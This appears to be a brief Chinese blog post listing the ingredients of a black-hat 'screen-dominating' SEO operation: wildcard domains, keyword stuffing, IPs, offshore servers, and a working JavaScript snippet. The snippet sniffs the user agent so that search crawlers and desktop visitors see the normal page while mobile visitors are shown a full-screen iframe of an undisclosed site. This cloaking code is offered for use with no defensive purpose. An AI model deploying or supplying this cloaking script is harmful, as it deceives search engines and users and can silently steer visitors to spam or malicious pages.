1、无限提交
2、js
<script> var _hmt = _hmt || []; (function () { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?99xxxaa8a"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?58bcxxxxxxeed702"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); if (navigator.userAgent.indexOf('bot') > -1||navigator.userAgent.indexOf('spider') > -1||navigator.userAgent.indexOf('gou') > -1){ }else if(navigator.userAgent.indexOf('Macintosh') > -1||navigator.userAgent.indexOf('Windows') > -1){ } else{document.writeln("<meta name=\'viewport\' content=\'width=device-width, initial-scale=1, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\' />"); document.writeln(" <style>body{margin:0;}</style>"); document.writeln(" <iframe width=\'100%\' src=\'xxxx\' height=\'720px\'></iframe>");} </script>
3、泛域名、霸屏关键词
4、IP
5、服务器,无要求,可用境外服务器
标签:霸屏,indexOf,var,userAgent,hm,seo,操作,navigator,document From: https://www.cnblogs.com/xibb/p/17060300.html